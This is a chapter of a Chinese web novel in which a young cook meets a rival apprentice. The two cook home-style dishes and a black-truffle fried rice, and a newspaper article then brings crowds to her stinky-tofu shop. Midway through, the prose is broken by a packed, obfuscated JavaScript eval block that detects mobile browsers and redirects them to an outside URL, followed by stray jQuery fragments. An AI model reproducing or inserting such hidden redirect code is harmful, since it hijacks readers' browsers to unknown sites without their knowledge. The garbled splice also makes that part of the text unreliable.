到常跃进家的时候，他徒弟常健康正在劈材。


    只是常嘉欣没想到得是，常健康是个女孩，一个小麦色身型高大的女孩。


    她见到常嘉欣也一脸稀奇，绕着转了一圈才开口；“师傅说你要去参加全国烹饪大赛，你拿到举荐名额了？”


    常嘉欣因为诧异没第一时间反应过来，等她瞪了瞪眼睛才点头。


    常健康问道：“你怎么拿到的？我以为这海选是真海选，去越市跑了几天，愣是没找到一个举荐人。”


    常嘉欣皱眉，可能是因为推荐名额来自店里食客的缘故，她以为拿到这次大赛海选的推荐名额不难：“是我的食客给我的，要不匀一个？我那有两个推荐名额。”


    “不用了，就海选门槛设置方式，这比赛估计又是那帮老鼻子自己玩出来的一套形式，后面我还问了，说自带食材不能用，那工作人员听我问能不能带腌制菜，眼神鄙夷得很，我觉得这种比赛不参加也罢。”常健康摆摆手，她现在对常嘉欣特别好奇，“让我瞧瞧手艺？”


    常嘉欣虽然不知道具体发生了什么，不过却能理解她的意思，腌制菜对普通家常来说是最美味不过的食材，但确实很少被摆在台前，也没多说什么，笑着开始卷袖子：“好啊。”


    话虽然这样说，但她去厨房忙活时，常健康还是在一旁旁边打下手，她也准备做一道菜，常跃进虽然手不方便但烧火还是可以协助的，也是三人一起备菜聊得时候才知道，常跃进独身多年，常健康是他路边捡来。


    不过明显这身世对常健康来说不算什么，她还说要感谢那无良父母，至少扔得时候选了好地方。


    这般直爽的性子，这般豁达的模样，常嘉欣什么安慰的话都可以省略了，开始专心做菜。


    她准备先做一道雪菜汪刺鱼，常师傅的雪里蕻品质很好，不做一道现实尝尝可惜了。


    油热锅之后，常嘉欣把切好辣椒圈和姜片丁呛香，最后倒入黄绿色的雪里蕻。


    好的雪里蕻，在遇到高油温后，那股被时间磨砺后的气味会转化成它独特的鲜味，一同释放的还有时间的沉淀，确定飘香炒均之后，常嘉欣把这炒好的雪里蕻先放在一边。


    滋啦啦的一勺热水下去，清洗几遍，等大灶再烧干，热锅冷油，这次用菜油混着一勺猪肉，再放入处理好的汪刺鱼。


    常嘉欣不急着翻它，等一面鱼身煎定型之后再放入姜片和黄酒去腥。


    滋啦啦的热油一下就裹住了鱼，汪刺鱼被煎到原先的金黄色出现小焦香定型，再进行翻身，两面娇嫩细腻的鱼肉与油充分接触好，常嘉欣把雪里蕻也加入其中一同拌匀，汪刺鱼的鱼肉格外滑嫩，她是铲子背面划推时要特别注意，要用巧力，否认一不留神就破坏鱼型。


    常健康把烧好得热水拿过来，注意到常嘉欣这番勺动作，夸奖道：“就这翻炒的手法，抵得过至少七成厨师，确实有两下子。”


    这道菜很家常，但能把炒时鱼皮不散不乱，还用得是大灶，没有本事在身上是不可能的，就说她自己到现在用大灶都没那么灵活，所以常健康点评相当真心。


    “那是。”常嘉欣笑着接过热水，往锅里面倒，直到水覆盖了三分之四的位置才停手。


    这边鱼还要再煮一会，另一边起好煤炉，她用砂锅再做个肉末酿豆腐，这道菜就是肉末酿臭豆腐的原版，常嘉欣之前做得时候就觉得熟悉，后面听卫叔说起才想起，这是客家菜的原版，没有臭豆腐，那做这原版也很不错。


    常嘉欣就做这两道菜，后面灶台用来蒸饭，煤炉就交给常健康，她给大家做了一道相当高级的炒饭。


    “黑松露炒饭，这黑松露可是我从山上找了好多天找到的，可惜带去越市他们都不识货。”常健康用乡下最常见的大花碗装着这炒饭出锅，“尝一尝，比你的臭豆腐炒饭如何？”


    常嘉欣接过碗：“光卖相来说，你这肯定更好。”


    鸡蛋与白米饭中点缀着黑松露，看着就比臭豆腐炒饭精致细腻很多，常嘉欣筷子一夹，鼻翼很快闻到了特殊的味道，黑松露也不算是很好闻的美食，但至少不厚重：“气味嘛，肯定不如我那霸道。”


    黑松露这种食材在口感上是不乖顺的，其实有些像饼干渣，但它和松软的鸡蛋米饭融合后，带来炒饭口感上的层次就有了不同的风味，加上它被炒制后激发出来的幽香，连带着炒饭都鲜美至极，怎么吃都不腻。


    常嘉欣装作矜持地连吃好几口，这才开口道：“味道不错，我们半斤八两吧，有机会你来我店里尝尝臭豆腐炒饭呀。”


    说实话，这炒饭不逊于她的臭豆腐炒饭，只是风味完全不一样，怪不得常师傅说他徒弟老觉得自己很牛，事实上，就是很牛啊！


    常健康也在品尝常嘉欣的两道菜，很家常，但同样美味。


    她师傅的雪里蕻吃得不少，但能把鲜味激发出来的同时，不让咸鲜味过腻，可以看出常嘉欣的厨艺功力相当扎实，甚至比常师傅都出色。


    常健康可以说震惊满满，但说话也很矜持：“有机会一定，你的这两道味道都不错。”


    “好吃！比我做得都好吃！”常跃进就干脆多了，他做大锅菜那么多年，确实第一次感觉到他雪里蕻的惊艳。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570485|167556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“哎呦，常师傅客气了！”


    两菜一饭，皆美味，三个人吃得不亦乐乎。


    吃饱喝足，常嘉欣便回到常家，堂嫂她们还没做什么决定，不过看常薇薇轻松的样子，大概率已经沟通好了，隔日清早，常嘉欣便和常薇薇启程回到南江。


    再回来，店里变化可大了，多了两样现代化的大家伙，以及周一她们店都还没开门，外面就排起的长队。


    常薇薇拉开卷门的时候真得有点被吓到，本来她听到门口稀稀疏疏的声音还奇怪，却没想到外面已经有人排长队。


    “你们这家是这个臭豆腐炒饭，对吧？”


    常薇薇还没说什么，最靠近门口的年轻人指了指他手里的报纸，标题是“时隔多年的大牛臭豆腐重新开张，能否臭名远扬？”。


    常薇薇大概扫了下报纸内容，很确定道：“是的，臭豆腐炒饭是我们的招牌，你们都是看报纸过来的？”


    “是的，专门从越市赶来呢，之前都来过一趟扑空呢，给我们来六人份的臭豆腐炒饭，还有一个臭豆腐全家福。”


    说完，一帮人便纷纷火火挑一张桌子挤在一起聊天，毕竟这店虽小，但五脏俱全，还有相当稀少的电冰箱和空间，完全不缺话题。


    而他们后面还有不少客人。


    常薇薇赶忙一个接一个把单子记下，六个桌子全坐满后才去出餐口。


    “卫叔那报纸发几天了，这些好像都是从外地赶来的，还有人之前来过一次给扑空了呢。”她拿着单子对着常嘉欣说到了报纸的事情，心情很愉悦，“中午就有三单臭豆全家福，其他都是来吃臭豆腐炒饭的，不少都是越市人。”


    常嘉欣挠挠头，她有假期回归综合症，所以开业第一天她就买了三分全家福的食材，其中一份还准备晚上自己吃来着：“好吧，就是后面全家福没了。”


    “嗯。”常薇薇转头就招呼新来的客人。


    这次出现一群工服着装的食客，常薇薇见过这些服装，是罗艳红厂里的，不过客人都比较面生，他们手里也捏着越州日报。


    常薇薇提前开口：“臭豆腐炒饭是我们的招牌，几位可能要等一等，店里没有位置了。”


    “没事，我们等一等。”


    和常嘉欣不同，常薇薇看到那么多客人，状态满满，一直笑着开始给客人们打鱼丸汤，偶尔还做一些交流，她也没多想，毕竟最开始传单出现的时候店里也一下涌过来不少客人，还是能应付的。


    只是这次和传单体谅都完全不一样，越州日报可是越州发行量第一的报纸，对于些客人家常馆来说只是开始。